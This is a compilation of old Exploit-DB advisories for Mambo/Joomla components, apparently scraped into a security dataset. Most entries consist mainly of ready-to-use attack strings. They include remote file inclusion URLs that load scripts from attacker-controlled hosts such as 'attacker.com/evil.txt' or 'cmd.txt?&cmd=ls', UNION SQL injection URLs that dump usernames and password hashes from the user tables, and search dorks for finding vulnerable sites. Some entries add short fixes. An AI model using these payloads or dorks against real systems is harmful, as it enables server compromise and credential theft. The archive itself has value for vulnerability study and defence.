deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2184
Description: Mambo Component Peoplebook 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-14
Author: Matdhule

Exploit:
---------------------------------------------------------------------------
Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Author          : Matdhule
Date            : August, 14th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
....
<?php

if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
}
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

Solution:
~~~~~~~

sanitize variabel $mosConfig_absolute_path in param.peoplebook.php


---------------------------------------------------------------------------
Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~

     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ] ---------------------------------- 

# milw0rm.com [2006-08-14]
Exploit-DB #2025
Description: Mambo Component perForms 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: endeneu

Exploit:
------------------------------------------------------------------------ ---
perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion
------------------------------------------------------------------------ ---

Remote : Yes
Critical Level : High
Vuln founded in a log file: lazy 0day!!! :D
Description:
~~~~~~~~~~~~
Application : perForms Joomla Component
Version : latest version [1.0]
URL : http://forge.joomla.org/sf/projects/performs
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on in /components/com_performs/com_performs/performs.php on lines 6-10

require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _template.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _valid.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _phpForm.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/myL ib.php" );
require_once($mosConfig_absolute_path."/administrator/components/com_per forms/class.performs.php");

Exploit:
~~~~~~~~
dork: inurl:"com_performs" -> founds ~12.000 sites (!)

http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost

Fix
~~~~
Add before code:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

Thx

~~~~
Who works for better code and better life!
------------------------------------------------------------------------

# milw0rm.com [2006-07-17]
Exploit-DB #2029
Description: Mambo Component pollxt 1.22.07 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: vitux

Exploit:
Application : pollxt mambo Component
 
URL : http://www.mamboxt.com
 
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_pollxt/conf.pollxt.php on line 1-2
 
require_once($mosConfig_absolute_path."/administrator/components/com_pollxt/pollxt.class.php");

Exploit:
~~~~~~~~

dork: inurl:"com_pollxt"
 
http://www.vuln.com/components/com_pollxt/conf.pollxt.php?mosConfig_absol
ute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

# milw0rm.com [2006-07-17]
Exploit-DB #5139
Description: Mambo Component Portfolio Manager 1.0 - 'categoryId' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: it's my

Exploit:
#########################################################
##
##  Mambo component Portfolio Manager 1.0 (com_portfolio)
##
##
##  Author: it's my
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"index.php?option=com_portfolio"
##
#########################################################
   
   Exploit:

http://site.com/index.php?option=com_portfolio&memberId=9&categoryId=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+mos_users/*

#########################################################
## it's my sick world =/   ####    www.antichat.ru
#########################################################



    <name>portfolio</name>
    <creationDate>2005.09.15</creationDate>
    <author>Garry Malhi</author>
    <copyright>This component  is released under the GNU/GPL License</copyright>
    <authorEmail></authorEmail>
    <authorUrl></authorUrl>

    <version>1.0</version>
    <description>Portfolio Manager Component</description>

# milw0rm.com [2008-02-18]
Exploit-DB #2069
Description: Mambo Component PrinceClan Chess 0.8 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-24
Author: OLiBekaS

Exploit:
# pc_chess Component

- dork : index.php?option=com_pcchess

- exploit :

http://[target]/[path]/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://[attacker]/cmd.txt?&cmd=ls 

# milw0rm.com [2006-07-24]
Exploit-DB #5128
Description: Mambo Component Quran 1.1 - 'surano' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: Don

Exploit:
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
--found by breaker_unit and Don
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Qur'an component allows you to read and listen to the Qur'an (The Islamic Holybook) online. A great resource for Islamic sites running on Mambo Open Source. This component was originally developed for PHP-Nuke by Syed Rasel at http://www.nzmuslim.net and then modified/ported to PostNuke and Mambo Open Source by Kemas Yunus Antonius.

Key Features:

    * Displaying the Qur'an in Arabic and its translations.
    * Enhanced with search function (using any keywords or by chapter number and verse number).
    * Arabic recitation for both listening and downloading.
    * Very user friendly.
    * Using mysql database instead of file text.

Available translations at the moment:

    * English
    * Indonesian

You can get them all at http://www.kyantonius.com.
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
allinurl:"com_quran"
inurl:"/index.php?option=com_quran"
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Mambo
/index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password ),3,4,5+from+mos_users+limit+0,20--

Joomla
/index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password ),3,4,5+from+jos_users+limit+0,20--

Greetz to:
balcan-crew.org
milw0rm.com
h4cky0u.biz

# milw0rm.com [2008-02-15]
Exploit-DB #5014
Description: Mambo Component Recipes 1.00 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_recipes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_recipes"
#
########################################################################
EXPLOIT :

index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN              www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                  GOOD LUCKY                             S@BUN
######################################################################### 

# milw0rm.com [2008-01-30]
Exploit-DB #4306
Description: Mambo Component Remository - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Mambo Component RemoSitory (cat) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.remository.com/
# $$      :  Free
# Dork    :  inurl:func=selectcat + com_remository   // Result:43.400
# DorkEx  :  http://www.google.com.tr/search?q=inurl:func%3Dselectcat+%2B+com_remository&hl=tr&start=0&sa=N

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]///index.php?option=com_remository&func=selectcat&cat=[SQL]

Example:

//index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23]
Exploit-DB #2172
Description: Mambo Component Remository 3.25 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: camino

Exploit:
    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: o9.o8.2oo6 ..
 
 
  Affected Application: Remository v3.25 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino@sexmagnet.com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [x]  High [ ]
 
  Application: Remository
 
  Version: 3.25
 
  Vulnerable File: admin.remository.php
 
  URL: http://www.remository.com
 
  Description: It's a component that works with Mambo CMS 4.5+ to 

               provide a selection of files that users can download. 
 
  Dork: intext:"Remository 3.25. is technology by Black Sheep Research"

        inurl:"com_remository"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/administrator/components/

  com_remository/admin.remository.php?mosConfig_absolute_path=http://huh?
 
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open admin.remository.php
 
  o2.) take a look at line 16:

       require_once ($mosConfig_absolute_path.'/components/

       com_remository/com_remository_constants.php');
 
  o3.) take a look at line 19:

       defined( '_VALID_MOS' ) or die( 'Direct Access to this location 
 
       is not allowed.' );
 
  o4.) exchange line 19 with line 16!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-10]
Exploit-DB #28396
Description: Mambo Component Reporter 1.0 - 'Reporter.sql.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-16
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/19553/info

Reporter (a Mambo component) is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[mambo_path]/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=
Exploit-DB #5031
Description: Mambo Component Restaurant 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-31
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_restaurant)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_restaurant"
#
########################################################################
EXPLOIT :

index.php?option=com_restaurant&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*


#########################################################################
# S@BUN                  www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                     GOOD LUCKY                               S@BUN
#########################################################################

  <name>Restaurant</name>
  <creationDate>02-05-2005</creationDate>
  <author>1100cc</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>webmaster@1100cc.nl</authorEmail>

  <authorUrl>www.1100cc.nl</authorUrl>
  <version>1.0</version>
  <description>Restaurant is a fully integrated Mambo component.</description>

# milw0rm.com [2008-01-31]
Exploit-DB #5133
Description: Mambo Component Ricette 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
###############################################################
#
# joomla SQL Injection(com_ricette)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: com_ricette
#
# DORK 2 : allinurl: "com_ricette"id
#
################################################################
EXPLOIT :

index.php?option=com_ricette&Itemid=S@BUN&func=detail&id=-9999999/**/union/**/select/**/0,0,%20%20%200x3a,111,222,333,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,concat(username,0x3a,password)/**/from/**/mos_users/*

################################################################
# S@BUN             i AM NOT HACKER                 S@BUN
################################################################

  <name>Ricette</name>
  <creationDate>05-07-2005</creationDate>
  <author>Giorgio Nordo</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>giorgio@equal.it</authorEmail>

  <authorUrl>www.equal.it</authorUrl>
  <version>1.0</version>
  <description>Un ricettario illustrato per Mambo realizzato da Giorgio Nordo per www.equal.it e basato sul componente Wines 1.1 di Tommaso Tamantini.</description>

# milw0rm.com [2008-02-16]
Exploit-DB #28404
Description: Mambo Component Rssxt 1.0 - 'MosConfig_absolute_path' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-18
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/19593/info

The Mambo Rssxt component for Joomla and Mambo is prone multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.0 and prior are vulnerable to these issues; other versions may also be affected.

This BID has been retired.

http://www.example.com/joomla_path/components/com_rssxt/pinger.php?mosConfig_absolute_path=Shell.txt? 
http://www.example.com/joomla_path/components/com_rssxt/RPC.php?mosConfig_absolute_path=Shell.txt? 
http://www.example.com/joomla_path/components/com_rssxt/rssxt.php?mosConfig_absolute_path=Shell.txt?
Exploit-DB #2083
Description: Mambo Component Security Images 3.0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-28
Author: Drago84

Exploit:
# http://forge.joomla.org/sf/projects/com_securityimages

##### Marckusbest is the Best lamah of irc, fuck you
##########
com_securityimages Mambo  Remote File Include
------------------------------------------------------------------------------------
Bug Found by: Drago84
greetz: Exclusive Security
This bug allows a remote atacker to execute commands via
rfi

page:
client.php
configinsert.php
lang.php
server.php

expl:
http://web/components/com_securityimages/configinsert.php?mosConfig_absolute_path=http://shell.txt
http://web/components/com_securityimages/lang.php?mosConfig_absolute_path=http://shell.txt

########## MarckusBest Fottiti
#############################

# milw0rm.com [2006-07-28]
Exploit-DB #5076
Description: Mambo Component Sermon 0.2 - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-07
Author: S@BUN

Exploit:
#########################################################################
#
# netadvantist@copyright 2006 SQL Injection(com_na_xxx)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
#########################################################################
#
# DORKS 1 : allinurl:"com_na_content"
#
# DORK 2 : allinurl:"com_na_bible"
#
# DORKS 3 : allinurl:"com_na_events"
#
# DORKS 4 : allinurl:"com_na_content"
#
# DORKS 5 : allinurl:"com_na_feedback"
#
# DORKS 6 : allinurl:"com_na_mydocs"
#
# DORKS 7 : allinurl:"com_na_churchmap"
#
# DORKS 8 : allinurl:"com_na_bibleinfo"
#
# DORKS 9 : allinurl:"com_na_dbs"
#
# DORKS 10 : allinurl:"com_na_udm"
#
# DORKS 11 : allinurl:"com_na_qforms"
#
# DORKS 12 : allinurl:"com_na_gallery2"
#
# DORKS 13 : allinurl:"com_na_publicrss"
#
# DORKS 13 : allinurl:"index.php?kwd"
#
##########################################################################
EXPLOÄ°T:

index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/*


##########################################################################
# S@BUN                      www.hackturkiye.com                     S@BUN
##########################################################################
# S@BUN                        i AM NOT HACKER                      S@BUN
##########################################################################

side notes:

	<name>Sermon</name>
	<creationDate>12 JAN 2006</creationDate>
	<author>Isai Michel L.</author>
	<copyright>GNU/GPL</copyright>
	<authorEmail>isai@isaim.com</authorEmail>

	<authorUrl>www.isaim.com</authorUrl>
	<version>0.2</version>

# milw0rm.com [2008-02-07]
Exploit-DB #5059
Description: Mambo Component Shambo2 - 'itemID' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-04
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_shambo2)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 1 : allinurl :"com_shambo2"
#
##########################################################################
EXPLOIT :

index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users


##########################################################################
#  S@BUN                 www.hackturkiye.com                      S@BUN
##########################################################################
# S@BUN                      GOOD LUCKY                             S@BUN
##########################################################################

# milw0rm.com [2008-02-04]